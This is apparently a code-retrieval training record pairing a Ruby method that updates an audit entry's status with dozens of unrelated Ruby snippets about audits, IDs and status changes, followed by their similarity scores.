"def export_audit_trail( id, &block )\n if ! block then\n return [].tap { |result| export_audit_trail( id ) { |row| result << row } }\n end\n\n bkey = { id: id }\n doc = audit_trail_configuration.find( bkey ).to_a.first\n if doc then\n keys = doc[\"keys\"].sort\n data = doc[\"data\"]\n data.each { |row| block.call( row ) }\n end\n end", "def initialize\n @id = {}\n end", "def set_absences_log\n @absences_log = AbsencesLog.find(params[:id])\n end", "def initialize(id = nil, object = {})\n @object = object\n @id = id || object[:id]\n instantiate if id.present? && !object.present?\n end", "def set_ai_log\n @ai_log = AiLog.find(params[:id])\n end", "def login_user_by_id(user_id)\r\n session[:user_id] = user_id\r\n logger.debug(\"Setting session id to #{session[:user_id]}\")\r\n AuditLog.create(:user_id => user_id, :action => \"Logged in\")\r\n end", "def initialize(id, hook, &block)\n self.id = id\n self.hook = hook\n self.block = block\n end", "def set_auditoria\n @auditoria = Auditoria.find(params[:id])\n end", "def initialize(id, repository)\n @id = id\n @repository = repository\n freeze\n end", "def add(audit_trail)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'auditTrail', audit_trail);\n\t\t\tclient.queue_service_action_call('audit_audittrail', 'add', kparams);\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil;\n\t\t\tend\n\t\t\treturn client.do_queue();\n\t\tend", "def init_organization_by_id(id)\n require_relative 'telerivet/organization'\n return Organization.new(self, {'id' => id}, false)\n end", "def audit verb = nil, data = nil\n extras = nil\n\n if verb\n extras = { verb: verb }\n extras[:data] = data if data\n end\n\n account = App::Context.current.account\n user = App::Context.current.user\n pk = self.class.primary_key\n delta = changes.except pk, *EXCLUSIONS if persisted?\n\n # Fail fast: If there's a delta, it's empty, and there are no\n # extras to be merged, there's no need to audit. Have to check\n # delta presence and contents separately because a `nil` delta\n # is a delete.\n\n return if delta and delta.empty? and not extras\n\n data = {\n account: account && account.id,\n at: Time.now.to_f,\n target: id,\n user: user && user.id\n }\n\n # If the delta exists, check it for anything sensitive that\n # needs to be redacted and then add it to the audit data.\n\n unless delta.empty?\n REDACTED.each do |k|\n delta[k] = [\"REDACTED\", \"REDACTED\"] if delta.include? k\n end\n\n data[:delta] = delta\n end\n\n data.merge! extras if extras\n App::Jobs::Mongo.enqueue \"audits.#{self.class.name}\", data\n\n nil\n end", "def audit=(value)\n conf['dashboard']['audit'] = value\n end", "def set_captured_hook\n @captured_hook = CapturedHook.find(params[:id])\n end", "def initialize(account_id, user_id)\n # Account.find(account_id)\n @user_id = user_id\n end", "def set_article_history\n @article_history = ArticleHistory.find(params[:id])\n end", "def create_audit_copy(asset_report_token, auditor_id)\n post_with_auth 'asset_report/audit_copy/create',\n AuditCopyCreateResponse,\n asset_report_token: asset_report_token,\n auditor_id: auditor_id\n end", "def create_audit_copy(asset_report_token, auditor_id)\n post_with_auth 'asset_report/audit_copy/create',\n AuditCopyCreateResponse,\n asset_report_token: asset_report_token,\n auditor_id: auditor_id\n end", "def set_invoice_history\n @invoice_history = InvoiceHistory.find(params[:id])\n end", "def set_accession_log\n @accession_log = AccessionLog.find(params[:id])\n end", "def new\n @audit = current_user.audits.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audit }\n end\n end", "def set_actlog\n @actlog = Actlog.find(params[:id])\n end", "def initialize(id)\n super id\n\n resources = self.class.linked_resources || []\n resources.each do |resource|\n self.class.send :define_method, resource do |filters = {}|\n get_linked_resources resource.to_s, filters\n end\n end\n end", "def initialize(std_room, id)\n\t\t@id = id\n\t\t\n\t\tdoors = std_room.doors.collect { |door| Crawl_Door.new(door) }\n\t\tevents = std_room.events.collect { |event| event.dup }\n\t\tsuper(doors, events)\n\tend", "def set_trail\n @trail = Trail.find(params[:id])\n end", "def build\n { audit: @config }\n end", "def set_logi_bill\n @logi_bill = LogiBill.find(params[:id])\n end", "def initialize(client, id, **options)\n super(client, { id: id }, options)\n end", "def hook(id, params={})\n\t\t\t\tparams[:self] = self\n\t\t\t\tself.class.hooks.execute id, params\n\t\t\tend", "def create\n @audit = @project.audits.build(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @project, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_trail\n @trail = Trail.find(params[:id])\n end", "def set_trail\n @trail = Trail.find(params[:id])\n end", "def set_trail\n @trail = Trail.find(params[:id])\n end", "def set_trail\n @trail = Trail.find(params[:id])\n end", "def set_trail\n @trail = Trail.find(params[:id])\n end", "def initialize(recording_event_handler, id_provider)\n @recording_event_handler = recording_event_handler\n @id_provider = id_provider\n\n @api_error = { loc: '', msg: '' }\n\n rf = RecorderFactory.create do | recorder |\n _handle_recorder_stopped(recorder)\n end\n\n @recorder_manager = RecorderManager.new(rf)\n end", "def initialize(id, env = ENV.to_h)\n @id = id\n @env = env\n end", "def initialize(id, klass, *args)\n @id = id\n @set_key = self.class.key_for id\n @klass = klass.is_a?(String) ? klass.constantize : klass\n @args = args\n end", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend", "def setId(id)\r\n\t\t\t\t\t@id = id\r\n\t\t\t\tend" ]
[ "0.6672957", "0.66558164", "0.6623255", "0.6609278", "0.6609278", "0.6609278", "0.6347319", "0.5956987", "0.5813992", "0.57651794", "0.54123336", "0.54123336", "0.54123336", "0.5396907", "0.5396907", "0.53919405", "0.53872263", "0.5371375", "0.53407997", "0.53042173", "0.52912843", "0.52851593", "0.5281761", "0.5224155", "0.5197472", "0.5188384", "0.5182297", "0.5176731", "0.5176731", "0.51634717", "0.5159959", "0.51533204", "0.50987154", "0.5067847", "0.5060128", "0.50403106", "0.5007793", "0.50018156", "0.4993312", "0.49833092", "0.4978516", "0.49753112", "0.4972844", "0.49596134", "0.49581006", "0.49548328", "0.4950662", "0.49463415", "0.4933232", "0.48943302", "0.48707595", "0.48475322", "0.4820579", "0.48163512", "0.48063833", "0.47999597", "0.47994468", "0.4790553", "0.4779253", "0.4777598", "0.47741327", "0.4752541", "0.47418118", "0.47152886", "0.4712541", "0.470789", "0.47014582", "0.46900806", "0.468906", "0.46842033", "0.46842033", "0.46826276", "0.46823755", "0.46747422", "0.46627134", "0.46569216", "0.46464336", "0.46431714", "0.4632983", "0.46291736", "0.46272543", "0.4621514", "0.46140897", "0.4611253", "0.4611253", "0.4611253", "0.4611253", "0.4611253", "0.46078935", "0.4606656", "0.46041223", "0.45979467", "0.45979467", "0.45979467", "0.45979467", "0.45979467", "0.45979467", "0.45979467", "0.45979467", "0.45979467" ]
0.70679754
0
Update audit summary === Parameters status(String):: New audit entry status options[:category](String):: Optional, must be one of RightScale::EventCategories::CATEGORIES === Return true:: Always return true
def update_status(status, options={}) send_request('update_status', normalize_options(status, options)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update_status(status, options={})\n send_audit(:kind => :status, :text => status, :category => options[:category])\n end", "def update(status)\n @pivotal_story.update(current_state: status)\n end", "def audit_status(sequence)\n context = sequence.context\n title = context.decommission? ? 'decommission ' : ''\n title += context.succeeded ? 'completed' : 'failed'\n context.audit.update_status(\"#{title}: #{context.payload}\")\n true\n rescue Exception => e\n Log.error(Log.format(\"SingleThreadBundleQueue.audit_status failed for #{@thread_name} thread\", e, :trace))\n ensure\n # release queue thread to wait on next bundle in queue. we must ensure\n # that we are not currently on the queue thread so next-tick the signal.\n EM.next_tick { @mutex.synchronize { @sequence_finished.signal } }\n end", "def set_status(status, status_message = '')\n return if status == Algorithm.statuses[self.status]\n self.update_attributes(status: status)\n self.update_attributes(status_message: status_message)\n self.update_attribute(:diva_id, nil) if self.status == 'review' || self.status == 'unpublished_changes'\n self.update_version if self.status == 'published'\n end", "def updateStatus\n\n storyURI = @details['Assets']['Asset']['href']\n\n statusXml = '<Asset>\n <Attribute name=\"Custom_JIRAIntStatus\" act=\"set\">' + @mapping.SendToJiraMap['Resolved in JIRA'] + '</Attribute>\n </Asset>'\n\n r_status = self.class.post(\"#{storyURI}\", :body => statusXml,\n :headers => {\"content_type\" => \"application/xml\"}, :verify => false)\n\n if r_status['Error']\n p r_status['Error']\n else\n @persist.updateDefectStatus(@story)\n return 1\n end\n return 0\n end", "def update_status\n\t\tasset.update_attributes(:status => STATUS[\"Assigned\"])\n\tend", "def update_status\n\t\tasset.update_attributes(:status => STATUS[\"Assigned\"])\n\tend", "def update_status a, start_date, end_date, filterable_class_name\n errors = []\n if a.nil?\n Rails.logger.debug \"Asset cannot be nil\"\n return errors\n end\n\n # Dont check disposed of assets\n if a.disposed?\n return errors\n end\n\n # Strongly type the asset but only if we need to\n asset = Rails.application.config.asset_base_class_name.constantize.get_typed_asset(a)\n\n Rails.logger.debug \"Testing asset #{asset.object_key} for compliance between #{start_date} and #{end_date}. Type is #{asset.class.name}\"\n\n passed = true\n if asset.service_status_type.try(:name) != \"Out of Service\" || (asset.in_service_date.present? && asset.in_service_date <= end_date)\n if asset.condition_updates.where(:event_date => start_date..end_date).count == 0\n passed = false\n errors << \"Condition has not been updated during the audit period\"\n end\n\n if asset.service_status_updates.where(:event_date => start_date..end_date).count == 0\n passed = false\n errors << \"Service Status has not been updated during the audit period\"\n end\n\n if asset.respond_to? :mileage_updates\n if asset.mileage_updates.where(:event_date => start_date..end_date).count == 0\n passed = false\n errors << \"Mileage has not been updated during the audit period\"\n end\n end\n end\n\n # If this audit result doesn't exist create it then update it otherwise\n # find the existing one and update it\n # NOTE: using a.id as auditable_id, DO NOT use asset.id as asset is from specific asset table\n audit_result = AuditResult.find_or_initialize_by(:organization_id => asset.organization_id, :auditable_id => a.id, :auditable_type => Rails.application.config.asset_base_class_name, :audit_id => context.id, :filterable_type => filterable_class_name, :filterable_id => asset.send(filterable_class_name.foreign_key))\n audit_result.audit_result_type_id = (passed == true) ? AuditResultType::AUDIT_RESULT_PASSED : AuditResultType::AUDIT_RESULT_FAILED\n if errors.present?\n audit_result.notes = errors.join(\"\\n\")\n else\n audit_result.notes = \"\"\n end\n # save this update\n if audit_result.changed?\n audit_result.save\n else\n # just update updated_at to show asset was audited again and results are still the same\n audit_result.touch\n end\n\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @status = args[:status] if args.key?(:status)\n end", "def update!(**args)\n @new_status = args[:new_status] if args.key?(:new_status)\n end", "def update_event_visibility\n if %w(public private).include?(params[:status])\n query = EventGroupQuery.set_concealed(@event.event_group_id, params[:status] == 'private')\n ActiveRecord::Base.connection.execute(query)\n render json: {errors: {}}, status: :ok\n else\n render json: {errors: ['invalid status'], detail: 'request must include status: public or status: private'}, status: :bad_request\n end\n end", "def update_status(status)\n @status = status\n @last_status_change = Time.now\n update_statusfile\n end", "def update_status status\n @job.set({\n custom_status: status,\n pinged_at: Time.now\n })\n end", "def update_status(payload, status)\n sha = payload.after\n repo = payload.repository.full_name\n state, description = status.first\n\n # setup http post\n uri = URI.parse(\"#{GITHUB_ROOT}/repos/#{repo}/statuses/#{sha}\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n\n # post to GitHub\n params = {:state => state, :description => description, :context => CONTEXT}\n http.post(uri.path, params.to_json, HEADERS)\nend", "def update_status( status ) # status = { :message => 'new post on ruby', :url => 'http://www.ruby-lang.com' }\n message = status[:message]\n short_url = ::ShortUrl::Client.new.short_url( status[:url] )\n if message.nil? or message.empty?\n posted = shorted unless ( short_url.nil? or short_url.empty? )\n else\n posted = message\n posted = posted + ': ' + short_url unless ( short_url.nil? or short_url.empty? )\n end\n if posted.nil?\n { :error => 'Invalid status.'}\n else\n call( 'statuses/update', { :status => posted } , :post )\n end\n end", "def update_status(status)\n self.status = status\n self.save! validate: false\n end", "def update_status(status)\n @metric_status = status if STATUSES[status] > STATUSES[@metric_status]\n end", "def update_status(id, status)\n\t\t\tkparams = {}\n\t\t\tclient.add_param(kparams, 'id', id)\n\t\t\tclient.add_param(kparams, 'status', status)\n\t\t\tclient.queue_service_action_call('announcement', 'updateStatus', 'bool', kparams)\n\t\t\tif (client.is_multirequest)\n\t\t\t\treturn nil\n\t\t\tend\n\t\t\treturn client.do_queue()\n\t\tend", "def updateStatus(event)\n parent = event.target.parentNode\n\n # update state from data attributes\n for i in 0...parent.attributes.length\n attr = parent.attributes[i]\n $data[attr.name[5..-1]] = attr.value if attr.name.start_with? 'data-'\n end\n\n # unindent action\n @status.gsub!(/\\n {14}/, \"\\n\")\n\n # set baseline to current value\n @baseline = @status\n\n # show dialog\n jQuery('#updateStatusForm').modal(:show)\n end", "def status=(new_status)\n update_values([:status] => new_status)\n end", "def meeting_update_status(*args)\n options = Zoom::Params.new(Utils.extract_options!(args))\n options.require(%i[meeting_id])\n Utils.parse_response self.class.put(\"/meetings/#{options[:meeting_id]}/status\", body: options.except(:meeting_id).to_json, headers: request_headers)\n end", "def set_event_status( event, status )\n event.instance_exec( namespace ) { |namespace| set_status(status, namespace) }\n end", "def internal_send_audit(options)\n RightScale::AuditProxy.force_utf8!(options[:text])\n opts = { :audit_id => @audit_id, :category => options[:category], :offset => @size }\n opts[:category] ||= EventCategories::CATEGORY_NOTIFICATION\n unless EventCategories::CATEGORIES.include?(opts[:category])\n Log.warning(\"Invalid category '#{opts[:category]}' for notification '#{options[:text]}', using generic category instead\")\n opts[:category] = EventCategories::CATEGORY_NOTIFICATION\n end\n\n log_method = options[:kind] == :error ? :error : :info\n log_text = AuditFormatter.send(options[:kind], options[:text])[:detail]\n log_text.chomp.split(\"\\n\").each { |l| Log.__send__(log_method, l) }\n begin\n audit = AuditFormatter.__send__(options[:kind], options[:text])\n @size += audit[:detail].size\n request = RetryableRequest.new(\"/auditor/update_entry\", opts.merge(audit), :timeout => AUDIT_DELIVERY_TIMEOUT)\n request.callback { |_| } # No result of interest other than know it was successful\n request.errback { |message| Log.error(\"Failed to send update for audit #{@audit_id} (#{message})\") }\n request.run\n rescue Exception => e\n Log.error(\"Failed to send update for audit #{@audit_id}\", e, :trace)\n end\n\n true\n end", "def update\n @status = Status.find(params[:id])\n @status.state = 'sent'\n Feed.create(\n :user => @status.screen_name,\n :content => @status.text,\n :status_id => @status.id\n )\n respond_to do |format|\n if @status.save\n # format.html { redirect_to(@status, :notice => 'Status was successfully updated.') }\n format.html { redirect_to('/?type=auditing', :notice => \"消息 #{@status.text} 已成功发送至播放池,等待播放.\") }\n format.xml { head :ok }\n else\n # format.html { render :action => \"edit\" }\n format.html { redirect_to('/', :error => \"消息 #{@status.text} 无法投入播放池.\") }\n format.xml { render :xml => @status.errors, :status => :unprocessable_entity }\n end\n end\n end", "def record_status_change(status, modified_date, estimated_days)\n if status.is_tested?\n add_estimated_days_on_date @tested, modified_date, estimated_days\n elsif status.is_signed_off?\n add_estimated_days_on_date @signed, modified_date, estimated_days\n elsif status.is_relevant?\n add_estimated_days_on_date @planned, modified_date, estimated_days\n end\n end", "def set_status status\n self.update(pet_status: status)\n end", "def update_review_status(status, user)\n \n if status && status.id != self.review_status_id &&\n (self.review_status.name == 'Review On-Hold' ||\n self.review_status.name == 'In Review')\n\n self.record_update('Review Status', \n self.review_status.name, \n status.name,\n user)\n\n if self.review_status.name == 'Review On-Hold'\n self.remove_from_hold(status.id)\n elsif self.review_status.name == 'In Review'\n self.place_on_hold\n end\n self.save\n \n true\n else\n false\n end \n \n end", "def update_event_visibility\n setter = EventConcealedSetter.new(event: @event)\n if params[:status] == 'public'\n setter.make_public\n elsif params[:status] == 'private'\n setter.make_private\n else\n render json: {errors: ['invalid status'], detail: 'request must include status: public or status: private'}, status: :bad_request and return\n end\n render json: setter.response, status: setter.status\n end", "def create_status(name, description, level, image)\n response = @client.post(\"/api/v1/statuses\", { \"name\" => name, \"description\" => description, \"level\" => level, \"image\" => image })\n return JSON.parse(response.body)\n end", "def status=(status)\n raise ArgumentError unless status.is_a?(Status)\n end", "def update\n respond_to do |format|\n if @audit.update(audit_params)\n format.html { redirect_to @audit, notice: 'Audit was successfully updated.' }\n format.json { render :show, status: :ok, location: @audit }\n else\n format.html { render :edit }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @summary = Summary.find(params[:id])\n\n respond_to do |format|\n if @summary.update_attributes(params[:summary])\n format.html { redirect_to @summary, notice: 'Summary was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @summary.errors, status: :unprocessable_entity }\n end\n end\n end", "def handle_status_change\n return nil unless self.new_status.present?\n self.status = self.new_status\n if self.new_status == 'active'\n # the user wants to make the ad active now so push out the inactive and deletion dates\n self.inactive_date = Time.now + 2.months\n self.delete_date = Time.now + 4.months\n elsif self.new_status == 'inactive'\n # the user wants to make the ad inactive now so make the inactive date to day and deletion in 2 months\n self.inactive_date = Time.now\n self.delete_date = Time.now + 2.months\n end\n end", "def update\n @status = Status.find(params[:id])\n\n respond_to do |format|\n if @status.update_attributes(params[:status])\n format.html { redirect_to @status, notice: 'Status was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @status = Status.find(params[:id])\n\n respond_to do |format|\n if @status.update_attributes(params[:status])\n format.html { redirect_to @status, notice: 'Status was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @status.errors, status: :unprocessable_entity }\n end\n end\n end", "def status\n if current_user.admin?\n status_name = Post.statuses[params[:status_name]]\n respond_to do |format|\n if status_name\n @post.update(status: status_name)\n format.html { redirect_to @post, notice: \"Status successfully changed to #{params[:status_name].humanize}\" }\n else\n format.html { redirect_to @post, alert: \"Post was not updated. Invalid status name #{params[:status_name]}\" }\n end\n end\n else\n respond_to do |format|\n format.html { redirect_to @post, alert: 'Post status was not updated. You must be an admin to update post status.' }\n end\n end\n end", "def update\n respond_to do |format|\n if @summary.update(summary_params)\n format.html { redirect_to @summary, notice: 'Summary was successfully updated.' }\n format.json { render :show, status: :ok, location: @summary }\n else\n format.html { render :edit }\n format.json { render json: @summary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @summary.update(summary_params)\n format.html { redirect_to @summary, notice: 'Summary was successfully updated.' }\n format.json { render :show, status: :ok, location: @summary }\n else\n format.html { render :edit }\n format.json { render json: @summary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @summary.update(summary_params)\n format.html { redirect_to @summary, notice: 'Summary was successfully updated.' }\n format.json { render :show, status: :ok, location: @summary }\n else\n format.html { render :edit }\n format.json { render json: @summary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n ticket = Ticket.find(params[:id])\n status = params[:status]\n\n if status and ticket.update_attributes(status: status)\n render json: {\"notice\"=>\"status updated successfully to '#{status}'\"}\n else\n render json: {\"alert\"=>\"status not updated. check params.\"}\n end\n end", "def update!(**args)\n @status_content = args[:status_content] if args.key?(:status_content)\n @status_file_name = args[:status_file_name] if args.key?(:status_file_name)\n end", "def update\n @status = Status.find(params[:id])\n\n respond_to do |format|\n if @status.update_attributes(params[:status])\n flash[:notice] = 'Status Type was successfully updated.'\n format.html { redirect_to(@status) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @status.errors, :status => :unprocessable_entity }\n end\n end\n end", "def updateStatus id, status\n\t\t@tickets.update Hash['status' => status], ['id', id]\n\tend", "def added; status[:added]; end", "def update\n respond_to do |format|\n if @summary.update(summary_params)\n format.html { redirect_to @summary }\n format.json { render :show, status: :ok, location: @summary }\n else\n format.html { render :edit }\n format.json { render json: @summary.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @status = @object\n\n respond_to do |format|\n if @status.update_attributes(params[:status])\n flash[:notice] = 'Status was successfully updated.'\n format.html { redirect_to status_url(@status) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @status.errors.to_xml, :status => :unprocessable_entity }\n end\n end\n end", "def change_status(object, status)\n object.update_attribute :status, status\n end", "def feed_status_summary feed\n entry_report =\n case nmatches = feed.feed_entries.size\n when 0\n \"No&nbsp;entries\"\n when 1\n \"One&nbsp;entry\"\n else\n \"#{nmatches}&nbsp;entries\"\n end\n time_report = (feed.updated_at.today?) ? \"Today\" : \"#{time_ago_in_words feed.updated_at} ago\"\n update_button = feed_update_button feed\n \"#{entry_report}/<br>#{time_report} #{update_button}\".html_safe\n end", "def postTweet(status)\n\t\t\t@client.update(status)\n\t\tend", "def update_from_event(event_type, *args)\n completed_status = process_event(event_type, setup_status(), args)\n\n if completed_status\n update_completed(@community_id, completed_status)\n true\n else\n false\n end\n end", "def status=(status)\n validator = EnumAttributeValidator.new('String', ['new', 'used', 'expired'])\n unless validator.valid?(status)\n fail ArgumentError, 'invalid value for \"status\", must be one of #{validator.allowable_values}.'\n end\n @status = status\n end", "def update_status!(\n item = nil,\n file: true,\n data: true,\n ready: true,\n overwrite: true,\n **added\n )\n item ||= default_to_self\n file &&= overwrite || item[:file_status].nil?\n data &&= overwrite || item[:data_status].nil?\n ready &&= overwrite || item[:ready_status].nil?\n item[:file_status] = evaluate_file_status(item, **added) if file\n item[:data_status] = evaluate_data_status(item, **added) if data\n item[:ready_status] = evaluate_ready_status(item, **added) if ready\n # noinspection RubyMismatchedReturnType\n item\n end", "def project_status_setter(status)\n if ['Proposed', 'Suspended', 'Postponed',\n 'Cancelled', 'In progress'].include? status\n self.status = status\n save\n else\n false\n end\n end", "def set_status! asset_or_tag, *varargs\n status = state = nil\n reason = 'Set via ruby client'\n asset = get_asset_or_tag asset_or_tag\n if varargs.size == 0 then\n raise ::Collins::ExpectationFailedError.new(\"set_status! requires a status\")\n elsif varargs.size == 1 and varargs[0].is_a?(Hash) then\n hash = symbolize_hash(varargs[0], :downcase => true)\n status = hash[:status]\n reason = hash.fetch(:reason, reason)\n state = hash[:state]\n elsif varargs.size == 1 and (varargs[0].is_a?(String) or varargs[0].is_a?(Symbol)) then\n status = varargs[0].to_s\n elsif varargs.size > 1 then\n status = varargs[0]\n reason = varargs[1]\n state = varargs[2] if varargs.size > 2\n else\n raise ::Collins::ExpectationFailedError.new(\"set_status! called with invalid parameters\")\n end\n parameters = {\n :status => status,\n :reason => reason,\n :state => state\n }\n parameters = select_non_empty_parameters parameters\n logger.debug(\"Setting status to #{status} on #{asset.tag}\")\n http_post(\"/api/asset/#{asset.tag}/status\", parameters, asset.location) do |response|\n parse_response response, :expects => 200, :as => :status, :raise => strict?, :default => false\n end\n end", "def update_status\n begin\n if self.service_test.status_changed?\n results = self.service_test.test_results.last(2)\n unless results.empty?\n case results.length\n when 1\n previous = TestResult.new_with_unknown_status\n when 2\n previous = results[0] \n end\n \n if USE_EVENT_LOG\n \n service = self.service_test.service\n \n ActivityLog.create(:action => \"status_change\",\n :data =>{:current_result_id => self.id, :previous_result_id =>previous.id },\n :activity_loggable => self.service_test,\n :referenced => service)\n \n current_status = ServiceCatalographer::Monitoring::TestResultStatus.new(self)\n previous_status = ServiceCatalographer::Monitoring::TestResultStatus.new(previous)\n \n \n if ENABLE_TWITTER\n ServiceCatalographer::Util.say \"Called TestResult#update_status. A status change has occurred so submitting a job to tweet about...\"\n msg = \"Service '#{ServiceCatalographer::Util.display_name(service)}' has a test change status from #{previous_status.label} to #{current_status.label} (#{self.created_at.strftime(\"%Y-%m-%d %H:%M %Z\")})\"\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::PostTweet.new(msg), :priority => 0, :run_at => 5.seconds.from_now)\n end\n \n unless MONITORING_STATUS_CHANGE_RECIPIENTS.empty?\n status_recipients_emails = MONITORING_STATUS_CHANGE_RECIPIENTS.dup\n \n if NOTIFY_SERVICE_RESPONSIBLE\n status_recipients_emails = status_recipients_emails + self.responsible_emails\n end\n ServiceCatalographer::Util.say \"Called TestResult#update_status. A status change has occurred so emailing the special set of recipients about it...\"\n subject = \"[#{SITE_NAME}] Service '#{ServiceCatalographer::Util.display_name(service)}' has a test change status from #{previous_status.label} to #{current_status.label}\"\n text = \"A monitoring test status change has occurred! Service '#{ServiceCatalographer::Util.display_name(service)}' has a test (#{self.service_test.test_type}, ID: #{self.service_test.test_id}) change status from #{previous_status.label} to #{current_status.label}. Last test result message: #{current_status.message}. Go to Service: #{ServiceCatalographer::Api.uri_for_object(service)}\"\n Delayed::Job.enqueue(ServiceCatalographer::Jobs::StatusChangeEmails.new(subject, text, status_recipients_emails), :priority => 0, :run_at => 5.seconds.from_now)\n end\n \n end\n end\n end\n rescue Exception => ex\n logger.error(\"There was problems updating the status for service test : #{self.service_test.id}\")\n logger.error(ex)\n end\n end", "def status=(new_status)\n self.last_status = status\n\n self.setValue new_status, forKey: 'status'\n end", "def update\n @accessory_category = AccessoryCategory.find(params[:id])\n\n if @accessory_category.update(accessory_category_params)\n audit(@accessory_category, current_user)\n head :no_content\n else\n render json: @accessory_category.errors, status: :unprocessable_entity\n end\n end", "def add_status(status)\n items = @items[status]\n @dialog.logMessage(\"Adding #{items.size} items with status: #{status}\")\n items\n end", "def update_status(employee, status)\n self.where(employee_no: employee.employee_no, employee_name: employee.name).update_all(\n status: status,\n employee_exists: false\n )\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def status=(value)\n @status = value\n end", "def update\n @usage_status = UsageStatus.find(params[:id])\n\n respond_to do |format|\n if @usage_status.update_attributes(params[:usage_status])\n flash[:notice] = 'UsageStatus was successfully updated.'\n format.html { redirect_to(usage_statuses_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @usage_status.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @status_category.update(status_category_params)\n format.html { redirect_to @status_category, notice: 'Status category was successfully updated.' }\n format.json { render :show, status: :ok, location: @status_category }\n else\n format.html { render :edit }\n format.json { render json: @status_category.errors, status: :unprocessable_entity }\n end\n end\n end", "def status=(v)\n @status = alma_string v\n end", "def status_update(_event)\n @submitted = false\n @filed = false\n end", "def update\n @status = Status.find(params[:id])\n\n respond_to do |format|\n if @status.update_attributes(params[:status])\n flash[:notice] = 'Status was successfully updated.'\n format.html { redirect_to(@status) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @status.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_status\n begin\n @complaint = Complaint.find(params[:id])\n rescue\n flash[:error] = \"Could not find complaint with id '#{params[:id]}'\"\n redirect_to complaint_path and return\n end\n if params[:status]\n unless @complaint.update_attributes(status: params[:status])\n flash[:error] = \"Couldn't update status of complaint #{@complaint.id} to '#{params[:status]}'\"\n else\n flash[:notice] = \"Status of Complaint '#{@complaint.title}' updated.\"\n end\n else\n flash[:error] = \"Parameter status missing\"\n end\n redirect_to complaint_path\n end", "def component_status_update(statuspage_id, component, container, details, current_status)\n request :method => :post,\n :url => @url + 'component/status/update',\n :payload => {\n 'statuspage_id' => statuspage_id,\n 'component' => component,\n 'container' => container,\n 'details' => details,\n 'current_status' => current_status\n }\n end", "def add_status(timestamp, status, message=nil)\n # creates a status entry\n timestamp = timestamp.to_i\n entry = StatusEntry.new(timestamp, status, message)\n\n # sets the status_entry in the redis status hash\n redis.zadd(key(:uuid, @uuid), timestamp, encode(entry.to_h))\n\n # set/reset expiration on status hash\n if Status.expire_after\n redis.expire(key(:uuid, @uuid), Status.expire_after)\n end\n\n # Add entry to index if necessary.\n # We only score using the creation timestamp this way.\n if redis.zscore(key(:uuid_index), @uuid).nil?\n redis.zadd(key(:uuid_index), timestamp, @uuid)\n end\n end", "def status=(status)\n @content[0] = status\n end", "def status\n \"#{@description} #{@status}\"\n end", "def status=(status)\n @_status = status\n end", "def status=(status)\n @_status = status\n end" ]
